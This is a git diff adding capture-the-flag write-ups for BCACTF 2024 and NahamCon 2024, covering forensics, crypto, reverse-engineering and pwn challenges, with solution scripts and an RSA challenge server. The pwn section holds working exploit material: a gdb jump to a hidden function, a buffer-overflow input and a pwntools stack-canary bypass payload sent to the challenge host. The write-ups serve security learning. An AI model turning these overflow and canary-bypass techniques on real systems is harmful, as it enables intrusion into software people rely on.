267047 217638 997318 892826 73396 192689 404215 408263 686953 923398 279392 696854 785819 587167 387531 112540 937326 500484 735248 78557 62 998388 632755 780359 670677 461189 672767 819024 281862 273143 213468 156201 880232 54245 824036 750975 480241 797479 937002 8252 72332 743623 301643 342202 998066 99849 839939 199340 651657 542974 700845 490501 722907 739051 74139 732545 94921 349541 470978 316618 301038 909615 452145 604266 696018 305978 127605 956994 485297 417384 872700 481592 310756 427161 704773 551798 996120 913919 676905 826187 925106 595529 298054 146758 330816 8190 421150 346162 17498 791070 670864 175634 482391 54186 883028 661809 192485 985985 347628 540016 962671 567353 518499 792252 980876 115506 532374 579906 268232 4971 598987 199566 205856 10123 190266 529671 6820 334656 120687 159770 545068 78819 342341 811434 65348 972413 519300 804359 450183 256956 616323 709401 964508 442040 936146 322013 814440 589773 509310 83401 1035 944713 654725 192237 251009 748058 546671 956188 322550 432009 365000 427426 454215 822262 405377 241300 525254 142729 567145 84020 164098 656798 826075 958885 54346 776358 870198 234369 894746 715853 132926 152153 98942 550655 585313 49317 536358 305699 518288 496885 314443 574880 101523 371884 479911 430238 58430 824321 9509 672700 359544 909823 543294 197225 110891 390627 349739 588031 412921 881109 955580 684036 20046 970326 117540 605579 897666 992278 257665 252103 741045 84752 830143 172937 649340 146393 842738 180473 925459 838686 72666 794907 797130 535728 854379 998472 956360 362806 16303 952098 16554 391764 652924 298871 675248 253149 407306 531670 389811 884553 681906 508105 762805 377050 369405 821788 122540 179902 19033 897305 349856 646766 661881 154916 72060 430162 949384 106796 204832 896071 372851 784035 609769 370956 654972 203026 873182 554099 10691 978416 481504 531680 672017 879531 516403 402442 898063 922292 533764 970014 175987 377098 575450 486115 509465 907107 455725 40929 898713 157248 926619 772985 479607 411672 164996 763394 754084 110807 217606 384247 636485 129798 583945 134195 861869 804669 910915 539083 294637 986489 652521 986553 496722 440346 761227 132555 831566 648982 796572 177493 220735 443697 31093 731262 703374 236168 186342 259666 486545 122630 787655 689267 117710 32253 229976 154529 318619 117754 470466 145099 910831 309661 142168 96195 418685 458482 480929 486769 363380 821949 991664 232589 332518 536668 883801 838797 914726 598593 416333 481237 186409 460568 788331 56389 348688 529859 528197 61455 925345 13111 134848 494678 67525 147936 243771 660845 581431 526341 616880 679134 512635 900704 554211 170980 500105 613060 382802 877339 219355 297161 676379 551822 311797 399558 141645 984107 603465 440265 924100 984818 82093 748382 260807 242612 284392 917500 303331 131273 969381 452896 769031 350580 865775 854483 72852 484667 326276 283982 798162 141457 765099 394211 223142 192122 734700 281840 271386 339808 946224 733746 989689 425081 621448 423120 937489 276393 48581 425692 21630 65223 640049 912913 213814 495969 470704 610566 172469 503934 942057 533842 316108 840885 728827 976801 607230 936072 831580 854500 334368 171591 896782 28731 111974 238020 747874 77075 685707 920364 519496 692168 810906 161981 730041 767627 593618 139498 956817 448149 473546 77440 94634 614029 188720 421296 724159 934133 499625 260814 797724 865435 620976 842192 555360 423554 238811 17875 545233 891148 436138 733756 832064 243890 863357 67293 629651 426470 759666 826818 643442 137204 347794 375148 252287 115093 458978 69725 127298 503419 930835 465510 834103 542136 327356 989800 816537 613755 97492 651506 470744 123222 846527 200132 772172 441712 665693 178291 502670 391053 166696 137076 243977 946900 269835 567538 200788 117698 22815 129842 298040 313859 564114 563801 988583 123255 28670 277758 613954 354141 896776 450585 270372 762137 301284 263371 937390 557568 448123 393160 188969 401831 628400 652511 154985 222261 572577 991724 192842 422985 163365 348707 293527 476772 728627 232408 414879 703508 467379 207904 724286 765171 476754 777307 732437 553751 209287 355845 990537 973712 90281 424047 467672 57702 111188 765424 356816 53232 744719 728323 936341 322199 249552 957402 272929 809633 683546 788294 957366 351251 930047 388288 278030 185073 326878 452040 70582 354532 164616 296310 723988 25958 824386 955491 965800 685763 94386 11405 857030 259520 866898 298415 76518 435543 537892 488273 934064 436666 671285 143878 275714 965564 90387 808296 836719 779197 983136 195766 619002 120074 201933 139831 81326 199181 155062 728753 417865 586656 642348 338423 631129 933967 955973 640841 520941 734106 42944 87199 373407 809992 48820 842745 475180 570052 910235 292547 869663 895829 996966 885489 271285 840957 773013 671952 588929 240856 415901 799293 743169 359638 325392 458782 644297 870165 982031 848345 80750 287475 948976 152933 132254 914362 976673 372051 686910 664433 125122 625827 425062 393570 708887 905556 99531 336928 963753 924602 945909 655772 920576 808613 865797 117282 152007 225677 659852 978197 425242 589306 856792 730259 91708 646179 691248 271524 923923 64598 993188 333810 965788 663512 47397 875104 22692 171753 593960 351439 908590 971014 452399 782470 468976 817985 460430 785644 956381 501248 578922 182524 422789 416850 776129 449098 186717 392535 27068 953130 698414 806133 455513 817830 23647 499382 27653 662172 109092 984670 506934 337222 675197 828006 472024 897966 556675 210701 65732 567330 925769 665613 595700 936042 534140 832403 117097 926384 113539 578172 247580 145807 246182 641775 484796 37801 710877 929454 298228 510413 373208 284216 303414 631440 593281 326234 177022 311873 581372 781329 760577 674303 905645 929750 429219 419069 710330 142651 932413 138695 312573 280811 801475 942544 278439 721924 641996 513305 581059 326611 808452 579753 373100 413798 605918 318789 940187 623366 590829 923678 436487 390013 961452 871605 887348 549165 425569 652788 256854 933495 540479 955527 936319 170805 748654 52908 539453 505051 644727 435451 578314 861747 262375 651708 252382 359212 455217 650577 388838 145285 2114 735986 992284 234279 21914 694247 393205 783449 65135 168880 189100 909294 265509 553654 844818 963752 72132 99964 916879 90940 515063 343982 508184 453905 556202 58999 273374 585883 590730 322975 622440 183632 717294 801600 288 487567 759582 750354 176699 909350 757490 418406 167511 987728 291436 984516 108858 488266 844102 853327 867986 370274 262141 834854 174313 131326 952106 722350 103940 873678 249942 649881 52072 811594 444749 91407 313249 542030 418996 76690 384150 752898 979940 216581 224126 528899 897748 602884 335321 551778 123098 125399 763734 750069 491128 601914 942116 113750 180494 349190 571121 305782 969898 444901 827198 268683 321632 263067 725582 630738 454946 239269 336788 568775 183219 479922 663297 880803 165744 861846 311976 658653 115653 963323 787359 327477 966521 858442 856043 335262 150350 480666 397252 154161 531610 899838 457039 886767 910046 920807 5297 155416 820358 259734 908452 152486 515221 621831 874392 719170 403814 651275 342832 400086 520222 798637 92656 787412 537196 921109 331449 517561 266047 212675 802269 819116 451845 321249 940315 870003 310366 447729 228011 84331 998585 721647 971459 270217 160213 326978 885726 115564 956830 142841 70970 265615 945372 703238 731214 735570 273740 465407 967945 456047 143736 798269 713313 889245 417999 55251 526290 631432 307305 262188 344379 479958 507464 940032 594526 344438 506302 227808 247012 726069 394418 953720 258631 969166 391225 367614 73074 137172 995135 59604 604902 296575 175568 705978 221418 242416 609642 739404 746730 501255 755613 65764 939356 740103 127763 495184 713864 104880 54534 988691 508499 320440 625108 145385 185738 926448 659648 212479 684364 714822 685837 975658 746688 806372 615522 404353 896261 651538 292760 103155 629722 622666 371298 58975 667865 614202 232693 577448 220708 918393 988880 971974 551846 650120 959889 988472 650641 458811 253648 605085 227385 940495 693018 871995 872774 256159 980035 578816 128188 388874 223396 691695 361883 306245 457863 235991 328246 688654 506069 447801 836266 262337 165083 502602 415426 74332 760686 791114 511739 822628 692605 492480 898598 102942 355250 322599 264450 150739 917762 159619 166349 877176 189994 142163 119516 437217 322267 96886 149269 181916 87236 836777 454928 933737 369126 53178 416021 921232 575642 271872 231450 712110 835215 829237 234924 580653 997428 583101 192714 493624 994798 144669 272327 74018 647990 299771 476525 883001 991871 667600 563497 413703 743828 623528 43465 605951 239955 657520 450762 206495 555211 561829 25130 740298 431014 200059 843113 186045 559906 240675 59668 312575 766947 608684 913566 752138 475737 150896 427843 512242 675474 772820 522799 312992 99784 637966 206970 857806 888266 697701 311128 46165 104428 890153 \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/rev/slow.cpp b/content/ctf-writeups/bcactf_5.0/assets/scripts/rev/slow.cpp new file mode 100644 index 0000000..5f8d330 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/rev/slow.cpp @@ -0,0 +1,45 @@ + +#include +#include +#include +#include +using namespace std; + +vector comb(vector in) { + vector out; + vector prefix ; + for(int i = 0 ; i < in.size(); i++){ + + } + for (int i = 0; i < in.size(); i++) { + for (int j = i + 1; j < in.size(); j++) { + out.push_back(in[i] * in[j]); + } + out.push_back((in[i] * (in[i] - 1) / 2)); + } + return out; +} +int main() { + ifstream fin("input.txt"); + ofstream fout("slow.out"); + int n, k; + fin >> n >> k; + vector score; + for (int i = 0; i < k; i++) { + int temp; + fin >> temp; + score.push_back(temp); + } + for (int i = k; i < n; i++) { + score.push_back(1); + } + uint64_t output = 0; + for (int j = n; j >= k; j -= 3) { + vector part = vector(score.begin(), score.begin() + j); + vector res = comb(comb(part)); + for (int i = 0; i < res.size(); i++) { + output += res[i]; + } + } + fout << "bcactf{" << output << "}" << endl; +} diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/xor/xor b/content/ctf-writeups/bcactf_5.0/assets/scripts/xor/xor new file mode 100644 index 0000000..4a64091 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/scripts/xor/xor differ diff --git a/content/ctf-writeups/bcactf_5.0/forensics.md b/content/ctf-writeups/bcactf_5.0/forensics.md index 58c3f88..2820684 100644 --- a/content/ctf-writeups/bcactf_5.0/forensics.md +++ b/content/ctf-writeups/bcactf_5.0/forensics.md @@ -265,7 +265,7 @@ That's a nice unanimous supreme court decision you've made public, sure would be ## Solution -The solution was pretty straight forward we just find for the initials of the flag i.e. `bacactf` and highlight some of the text +The solution was pretty straight forward we just find for the initials of the flag i.e. `bcactf` and highlight some of the text ![Image 1](./assets/images/forensics/23-719/23-719_1.png) @@ -369,3 +369,99 @@ Now comes the part to reverse this code so we write another code to solve this t And that reveals us our flag: `bcactf{l3m0n_d3m0n_134v3_my_m1nd_p13a5e}` + +# Forensics/Chalkboard-gag-writeup + +## Challenge Description + +Matt Groening sent me an unused chalkboard gag, he says there's something special inside of it. + +Along with this, we are given a text file `chalkboardgag.txt` + +Hint : There are some unique differences in some of the lines... + +## Solution + +On opening the text file and skimming over it, we can observe that it a particular phrase `I WILL NOT BE SNEAKY` is written on all the lines of the file. On observing carefully, we find that there are some lines in which a particular character of `I WILL NOT BE SNEAKY` is swapped with some other character. On checking those characters, we find that they are making the flag `bca...`. So then I used the below python script to get the flag: + +```python +f = open('chalkboardgag.txt', 'r') +f = f.read() + +l = f.split('\n') +l = l[:-1] +str = 'I WILL NOT BE SNEAKY' +flag = "" +for i in l: + if i != str: + for j in range(20): + if i[j] != str[j]: + flag += i[j] + +print(flag) +``` + +So the flag is `bcactf{BaRT_W0U1D_B3_PR0uD}` + +--- + +# Forensics/Wiretapped + +## Challenge description + +I've been listening to this cable between two computers, but I feel like it's in the wrong format. + +Given file : `wiretapped.wav` + +Hint : A certain type of file is embedded in the .wav file - see if you can extract it + +## Solution + +Following from the given hint, I tried to observe the hexdump of the given wav file and found the following part which looked like the starting bytes of a pcap file + +![Image 1](./assets/images/forensics/wiretapped/hex_image.png) + +Then I observed the hexdump further and concluded that `wiretapped.wav` has a pcap file embedded in it. So I extracted a pcap file named `extraacted.pcap` from `wiretapped.wav` using the below python script: + +```python +g = open('wiretapped.wav', 'rb') +g_bytes = g.read() + +with open('extracted.wav', 'wb') as b: + b.write(g_bytes[100:]) +``` + +Now on analysing `extracted.pcap`, I found the following conversation between the host computer `192.168.1.178` and the vm `10.0.2.15` (red messages are from vm and blue ones from host computer) : + +![Image 2](./assets/images/forensics/wiretapped/conv.png) + +Hence we have got the part-1 of the flag `bcactf{listening_`. Now we have to find the part-2 of the flag from the image which can be retrieved from its bytes in the TCP stream 4. I am using the below script to do this: + +```python +from scapy.all import rdpcap +from Crypto.Util.number import * + +pcap = rdpcap("banayi.pcap") + +stream_src_IP = '192.168.1.178' +stream_dst_IP = '10.0.2.15' + +stream_src_port = 5500 +stream_dst_port = 56780 + +stream_packets = [pkt for pkt in pcap if pkt.haslayer('IP') and pkt.haslayer('TCP') and + pkt['IP'].src == stream_src_IP and pkt['IP'].dst == stream_dst_IP and + pkt['TCP'].sport == stream_src_port and pkt['TCP'].dport == stream_dst_port] + +data = b"".join(bytes(pkt['TCP'].payload) for pkt in stream_packets) + +part2 = data[344:-12] # removing the extra bytes(HTTP... this thing) + +with open('image.jpeg', 'wb') as img: + img.write(part2) +``` + +We get the below image as the second part of the flag: +![Image 3](./assets/images/forensics/wiretapped/image.jpeg) + +So the complete flag is `bcactf{listening_in_a28270fb0dbfd}` \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/misc.md b/content/ctf-writeups/bcactf_5.0/misc.md index 9c8d473..f686b20 100644 --- a/content/ctf-writeups/bcactf_5.0/misc.md +++ b/content/ctf-writeups/bcactf_5.0/misc.md @@ -324,4 +324,31 @@ locals()[chr((hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+( ``` ## Flag -`bcactf{Wr1tING_pyJaiL5_iS_hArD_f56450aadefcc}` \ No newline at end of file +`bcactf{Wr1tING_pyJaiL5_iS_hArD_f56450aadefcc}` + +# Misc/This is NOT the flag +## Challenge Description +The flag is NOT inside this file. Do NOT even bother checking. + +## Hint +The flag is ASCII encoded in base 64 + +## Resoruces + +[NOTflag.txt](../assets/scripts/misc/NOTflag.txt) +```txt +nZyenIuZhMiXtoygzoygyJfMoJmTnsaC +``` +## Solution +Ignoring the description, the hint clues about `base 64`, so on decoding + +![alt text](./assets/images/misc-This_is_NOT_the_flag/base64.png) + +Nothing useful... The easiest thing we could do is `XOR`, so let's try it. + +![alt text](./assets/images/misc-This_is_NOT_the_flag/xor.png) + +And we get the flag with the `key FF`. + +## Flag +`bcactf{7hIs_1s_7h3_fla9}` diff --git a/content/ctf-writeups/bcactf_5.0/pwn.md b/content/ctf-writeups/bcactf_5.0/pwn.md index e69de29..9ac6382 100644 --- a/content/ctf-writeups/bcactf_5.0/pwn.md +++ b/content/ctf-writeups/bcactf_5.0/pwn.md @@ -0,0 +1,246 @@ +--- +layout: post +title: BCACTF 2024 | Pwn-Writeups +date: 2024-06-12 +tags: ['BCACTF_5.0'] +math: True +--- + +# pwn/Inaccessible +## Challenge Description +I wrote a function to generate the flag, but don't worry, I bet you can't access it! + +## Hint +* you could reverse engineer the function, but it's not necessary +* see if you can use any debugging tools to just call the function + +## Resoruces + +[chall](../assets/scripts/inaccessible/chall) + +## Solution +On checking the binary, there is nothing in main() function but `win() function has the flag`. + +The problem is that that the `main() directly terminates the program without ever referencing the win()`, so we need to find a way to access the win(). + +main() + +![alt text](./assets/images/pwn-inaccessible/main.png) + +win() + +![alt text](./assets/images/pwn-inaccessible/win.png) + +Win also refers to function f(), c() but we can directly get to win() function, we won't have to reverse everything. + +To achieve this, we can put a `breakpoint in main()` before it terminates and j`ump to win` function using `gdb`. + +```console +gdb ./chall +GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 +Copyright (C) 2022 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. +Type "show copying" and "show warranty" for details. +This GDB was configured as "x86_64-linux-gnu". +Type "show configuration" for configuration details. +For bug reporting instructions, please see: +. +Find the GDB manual and other documentation resources online at: + . + +For help, type "help". +Type "apropos word" to search for commands related to "word"... +pwndbg: loaded 156 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list. +pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break) +Reading symbols from ./chall... +(No debugging symbols found in ./chall) +------- tip of the day (disable with set show-tips off) ------- +heap_config shows heap related configuration +pwndbg> info functions +All defined functions: + +Non-debugging symbols: +0x00000000004003c8 _init +0x0000000000400400 puts@plt +0x0000000000400410 memset@plt +0x0000000000400420 __libc_start_main@plt +0x0000000000400430 __gmon_start__@plt +0x0000000000400440 _start +0x0000000000400470 deregister_tm_clones +0x00000000004004b0 register_tm_clones +0x00000000004004f0 __do_global_dtors_aux +0x0000000000400510 frame_dummy +0x0000000000400536 c +0x0000000000400599 f +0x00000000004005ea win +0x00000000004006b8 main +0x00000000004006d0 __libc_csu_init +0x0000000000400740 __libc_csu_fini +0x0000000000400744 _fini +pwndbg> b *main +Breakpoint 1 at 0x4006b8 +pwndbg> r +Starting program: /home/sora/ctf/chall +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". + +Breakpoint 1, 0x00000000004006b8 in main () +LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA +─────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────── +*RAX 0x4006b8 (main) ◂— push rbp + RBX 0x0 +*RCX 0x4006d0 (__libc_csu_init) ◂— push r15 +*RDX 0x7fffffffe118 —▸ 0x7fffffffe44e ◂— 'SHELL=/bin/bash' +*RDI 0x1 +*RSI 0x7fffffffe108 —▸ 0x7fffffffe439 ◂— '/home/sora/ctf/chall' +*R8 0x7ffff7e1bf10 (initial+16) ◂— 0x4 +*R9 0x7ffff7fc9040 (_dl_fini) ◂— endbr64 +*R10 0x7ffff7fc3908 ◂— 0xd00120000000e +*R11 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64 +*R12 0x7fffffffe108 —▸ 0x7fffffffe439 ◂— '/home/sora/ctf/chall' +*R13 0x4006b8 (main) ◂— push rbp + R14 0x0 +*R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0 +*RBP 0x1 +*RSP 0x7fffffffdff8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax +*RIP 0x4006b8 (main) ◂— push rbp +──────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────── + ► 0x4006b8
push rbp + 0x4006b9 mov rbp, rsp + 0x4006bc mov edi, 0x400754 + 0x4006c1 call puts@plt + + 0x4006c6 mov eax, 0 + 0x4006cb pop rbp + 0x4006cc ret + + 0x4006cd nop dword ptr [rax] + 0x4006d0 <__libc_csu_init> push r15 + 0x4006d2 <__libc_csu_init+2> mov r15d, edi + 0x4006d5 <__libc_csu_init+5> push r14 +────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────── +00:0000│ rsp 0x7fffffffdff8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax +01:0008│ 0x7fffffffe000 ◂— 0x0 +02:0010│ 0x7fffffffe008 —▸ 0x4006b8 (main) ◂— push rbp +03:0018│ 0x7fffffffe010 ◂— 0x1ffffe0f0 +04:0020│ 0x7fffffffe018 —▸ 0x7fffffffe108 —▸ 0x7fffffffe439 ◂— '/home/sora/ctf/chall' +05:0028│ 0x7fffffffe020 ◂— 0x0 +06:0030│ 0x7fffffffe028 ◂— 0x764ca1f2be928942 +07:0038│ 0x7fffffffe030 —▸ 0x7fffffffe108 —▸ 0x7fffffffe439 ◂— '/home/sora/ctf/chall' +──────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────── + ► 0 0x4006b8 main + 1 0x7ffff7c29d90 __libc_start_call_main+128 + 2 0x7ffff7c29e40 __libc_start_main+128 + 3 0x400469 _start+41 +───────────────────────────────────────────────────────────────────────────────────────────────────────── +pwndbg> jump *win +Continuing at 0x4005ea. +bcactf{W0w_Y0u_m4d3_iT_b810c453a9ac9} +[Inferior 1 (process 75259) exited with code 046] + +``` + +## Flag +`bcactf{W0w_Y0u_m4d3_iT_b810c453a9ac9}` + +# pwn/Juggler 1 +## Challenge Description +My friend here has got some issues... Mainly, he can't stop juggling. + +P.S Dockerfile is provided but not necessary for Juggler +## Hint +He told me he was only good at juggling small words + +## Resoruces +[chall](../assets/scripts/bjuggler/chall) +[Dockerfile](../assets/scripts/bjuggler/Dockerfile) + +## Solution +It's just simple `buffer overflow`. Give a `large string as input` and u will get the flag. + +```console +nc challs.bcactf.com 32250 +P.S the juggler animation is kind of tilted so you might need to look at it sideways. + +Please help me, I am the juggler, but I can't stop juggling. +aGive me something for my left hand (not too heavy though please, I injured it) +(or QUIT to quit): +> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +Give me something for my right hand: +> Watch this!-----------------------------------------=--|| + aaaaaaaaaaaaaaaaaaaaaaa 3----\ __ + O-|---<__ + aaaaaaaaaaa 3----/ +-----------------------------------------=--|| + 3----\ __ + aaaaaaaaaaa O-|---<__ + aaaaaaaaaaaaaaaaaaaaaaa 3----/ +-----------------------------------------=--|| + aaaaaaaaaaa 3----\ __ +aaaaaaaaaaaabcactf{juGGLy_Sup3R_JUgGLY_81520b089934c} O-|---<__ + 3----/ +-----------------------------------------=--|| +aaaaaaaaaaaabcactf{juGGLy_Sup3R_JUgGLY_81520b089934c} 3----\ __ + O-|---<__ + aaaaaaaaaaa 3----/ +-----------------------------------------=--|| + 3----\ __ + aaaaaaaaaaa O-|---<__ +aaaaaaaaaaaabcactf{juGGLy_Sup3R_JUgGLY_81520b089934c} 3----/ +Please help me, I am the juggler, but I can't stop juggling. +Give me something for my left hand (not too heavy though please, I injured it) +(or QUIT to quit): +> Give me something for my right hand: +> +``` + +## Flag +`bcactf{juGGLy_Sup3R_JUgGLY_81520b089934c}` + +# pwn/Canary Keeper +## Challenge Description +My friend gave me this executable, but it keeps giving me errors. Can you get the flag? + + +## Resoruces +[provided](../assets/scripts/canary-keeper-0/provided) + +## Solution +main() + +![alt text](./assets/images/pwn-canary-keeper/main.png) + +check_canary() + +![alt text](./assets/images/pwn-canary-keeper/check_canary.png) + +check_flag() + +![alt text](./assets/images/pwn-canary-keeper/check_flag.png) + +This is a basic `Stack Canary` chall. + +All we have to do is change the value of `v6 (initially FLAG)` while keeping the `v5 as canary`. + +Are `input` is stored in `v4(73 characters)`, `canary` in `v5(7 characters)`, and `FLAG` is `compared with v6(array of 8 64-bit values(or 8 characters))`. + +So to `bypass the canary_check`, we can input `73 char(for v4) + canary\0(for v5)` followed by flag. + +`\0` is added to canary as `v5 is 7 char`, so `last char is null byte`. + +```py +from pwn import * + +r = remote('challs.bcactf.com', 32101) + +payload = cyclic(73) + b"canary\0" + +r.sendline(payload) +r.interactive() +``` + +## Flag +`bcactf{s1mple_CANaRY_9b36bd9f3fd2f}` + diff --git a/content/ctf-writeups/bcactf_5.0/rev.md b/content/ctf-writeups/bcactf_5.0/rev.md index e69de29..c231ed5 100644 --- a/content/ctf-writeups/bcactf_5.0/rev.md +++ b/content/ctf-writeups/bcactf_5.0/rev.md @@ -0,0 +1,165 @@ +--- +layout: post +title: BCACTF 2024 | Rev-Writeups +date: 2024-06-12 +tags: ['BCACTF_5.0'] +math: True +--- + + +# Rev / Snail Farmer John +Author : Marvin + +## Challenge Description +Farmer John has moved on from cows to snails. + +Please ignore any potential integer overflow (i.e. pretend that the program can handle arbitrarily large numbers). + +**Challenge Files** +[input.txt]('../assets/rev/input.txt') and [slow.cpp](../assets/rev/slow.cpp) + +```C++ +#include +#include +#include +#include +using namespace std; + +vector comb(vector in) { + vector out; + vector prefix ; + for(int i = 0 ; i < in.size(); i++){ + + } + for (int i = 0; i < in.size(); i++) { + for (int j = i + 1; j < in.size(); j++) { + out.push_back(in[i] * in[j]); + } + out.push_back((in[i] * (in[i] - 1) / 2)); + } + return out; +} +int main() { + ifstream fin("input.txt"); + ofstream fout("slow.out"); + int n, k; + fin >> n >> k; + vector score; + for (int i = 0; i < k; i++) { + int temp; + fin >> temp; + score.push_back(temp); + } + for (int i = k; i < n; i++) { + score.push_back(1); + } + uint64_t output = 0; + for (int j = n; j >= k; j -= 3) { + vector part = vector(score.begin(), score.begin() + j); + vector res = comb(comb(part)); + for (int i = 0; i < res.size(); i++) { + output += res[i]; + } + } + fout << "bcactf{" << output << "}" << endl; +} +``` +The above script does some calculations to print out a number and our goal was to speed up the above script to find the flag + +## Solution + +In [input.txt](../assets/rev//input.txt) we are given two numbers `n` and `h` whose values are `500000` and `200000` respectively, and an array of length `200000`. + +The first step was to figure out the working of `comb` function, if you look carefully the script is actually adding the `sum` of return value of `comb(comb(part))` to the actual output. +```python +output += sum(comb(comb(part))) +``` + +Let and array be $\{a_1, a_2, a_3\}$, so +$$ +comb(\{a_1, a_2, a_3\}) = [a_1(a_2+a_3), a_2a_3, \frac{a_1(a_1-1)}{2}, \frac{a_3(a_3-1)}{2}, \frac{a_3(a_3-1)}{2}] +$$ + +$$ +sum(comb(\{a_1, a_2, a_3\})) = (a_1 * (a_2 + a_3) + a_2 * a_1 + a_1) + \frac{a_1(a_1-1)}{2} + \frac{a_2(a_2-1)}{2} + \frac{a_3(a_3-1)}{2} + +$$ +$$ +sum(comb(\{a_1, a_2, a_3\})) = \frac{2a_1a_2 + 2a_2a_3 + 2a_1a_3 + {a_1}^2 + {a_2}^2 + {a_3}^2 - (a_1 + a_2 + a_3)}{2} +$$ +$$ +sum(comb(\{a_1, a_2, a_3\})) = \frac{(a_1 + a_2 + a_3)^2 - (a_1 + a_2 + a_3)}{2} +$$ +In general : + +$$ +sum(comb(\{a_1, a_2, a_3, ...a_n\})) = \frac{\sum{a_i}* (\sum{a_i}-1)}{2} +$$ + +or, + +$$ +sum(comb(comb(\{a_1, a_2, a_3, ...a_n\}))) = \frac{\sum{a_i} * (\sum{a_i}-1) * (\sum{a_i}-2) * (\sum{a_i}+1)}{8} +$$ + +Thus we have reduced the operation to a single linear time function of `sum`. The program is looping from the end of final array (appended with 1's) to start of initial array, thus we can pre-calculate the sum of array and then we'll have to add to number of 1's which will be the sum of each part. + +So the final script can be reduced to : +```python +def optimised_comb(S): + return (S*(S-1)*(S-2)*(S+1))//8 + +vals, data = open("input.txt").read().split("\n") +n, k = list(map(int, vals.split(" "))) +array = list(map(int, data.split(" "))) +final_array = array + [1] * (n-k) + +output = 0 +arr_sum = sum(final_array) +for j in range(n, k-1, -3): + part_sum = arr_sum + (j-k) #Adding number of ones to total sum + output += optimised_comb(part_sum) +print("bcactf{" + str(output) + "}") +``` + +#### Flag +`bcactf{1256717047406103274281000233490626854133493566253}` + +# Rev/XOR +## Challenge Description +The executable below outputs an encrypted flag using the XOR operator. Can you decompile and reveal the flag? + +## Hint +What is symmetric encryption? + +## Resources +[xor](../assets/scripts/xor/xor) + +## Solution +On checking the binary, we see a `XOR function`. + +![alt text](./assets/images/rev-XOR/xorEncrypt.png) + +and the string `aClkvkor8jqa1jb` is `ClkvKOR8JQA1JB731LeGkU7J4d2khDvrOPI63mM7`. + +![alt text](./assets/images/rev-XOR/key.png) + +``` console +nc challs.bcactf.com 32411 +Encrypted flag: 21 0F 0A 15 3F 29 29 6B 13 1C 2C 74 7D 30 5E 50 6E 29 2B 24 19 0C 67 7D 05 54 7C 34 5C 13 32 42 29 62 7B 0F 4E +``` + +So we `XOR` the `encrypted flag by key` to get back the `flag`. + +``` python +encrypted = "21 0F 0A 15 3F 29 29 6B 13 1C 2C 74 7D 30 5E 50 6E 29 2B 24 19 0C 67 7D 05 54 7C 34 5C 13 32 42 29 62 7B 0F 4E" +key = "ClkvKOR8JQA1JB731LeGkU7J4d2khDvrOPI63mM7" + +encrypted_bytes = bytes.fromhex(encrypted.replace(" ", "")) + +decrypted_bytes = bytes(encrypted_byte ^ key_byte for encrypted_byte, key_byte in zip(encrypted_bytes, key.encode())) + +print(decrypted_bytes) +``` +## Flag +`bcactf{SYMmE7ric_eNcrYP710N_4WD0f229}` \ No newline at end of file diff --git a/content/ctf-writeups/nahamcon/_index.md b/content/ctf-writeups/nahamcon/_index.md new file mode 100644 index 0000000..1cdb598 --- /dev/null +++ b/content/ctf-writeups/nahamcon/_index.md @@ -0,0 +1,8 @@ +--- +title: Nahamcon CTF 2024 +toc: true +--- +{{< cards >}} + {{< card link="crypto" title="Crypto Writeups" icon="pencil" >}} + {{< card link="forensics" title="Forensics Writeups" icon="pencil" >}} +{{< /cards >}} \ No newline at end of file diff --git a/content/ctf-writeups/nahamcon/assets/1337-malware.pcapng b/content/ctf-writeups/nahamcon/assets/1337-malware.pcapng new file mode 100644 index 0000000..d31dffe Binary files /dev/null and b/content/ctf-writeups/nahamcon/assets/1337-malware.pcapng differ diff --git a/content/ctf-writeups/nahamcon/assets/RSA_Encryption_Server.py b/content/ctf-writeups/nahamcon/assets/RSA_Encryption_Server.py new file mode 100644 index 0000000..b76019c --- /dev/null +++ b/content/ctf-writeups/nahamcon/assets/RSA_Encryption_Server.py @@ -0,0 +1,48 @@ +#!/usr/bin/python3 + +from secrets import randbits +from sympy import nextprime +import random + +e = random.randint(500,1000) + +def encrypt(inp): + p = nextprime(randbits(1024)) + q = nextprime(randbits(1024)) + n = p * q + c = [pow(ord(m), e, n) for m in inp] + return [n, c] + +def main(): + + while True: + print('Welcome to the Really Shotty Asymmetric (RSA) Encryption Server!') + print('1: Encrypt a message') + print('2: View the encrypted flag') + print('3: Exit') + + inp = '' + while (not ('1' in inp or '2' in inp or '3' in inp)): + inp = input('> ') + + if('3' in inp): + print('Goodbye!') + exit() + + elif('1' in inp): + plain = input('Enter a message, and the server will encrypt it with a random N!\n> ') + encrypted = encrypt(plain) + + elif('2' in inp): + data = 'fake_flag' + data = data.strip() + encrypted = encrypt(data) + + print('Your randomly chosen N:') + print(f'> {encrypted[0]}') + print('Your encrypted message:') + print(f'> {encrypted[1]}') + print('\n') + +if(__name__ == '__main__'): + main() diff --git a/content/ctf-writeups/nahamcon/assets/decryption_server.log b/content/ctf-writeups/nahamcon/assets/decryption_server.log new file mode 100644 index 0000000..62e6329 --- /dev/null +++ b/content/ctf-writeups/nahamcon/assets/decryption_server.log @@ -0,0 +1,242 @@ + +20/05/2024 15:14:38 Server listening on host 0.0.0.0 and port 9001 +20/05/2024 15:14:38 Listening for connection... +20/05/2024 15:14:42 Connection received from ('10.10.2.6', 50924) +20/05/2024 15:14:42 Received encrypted message 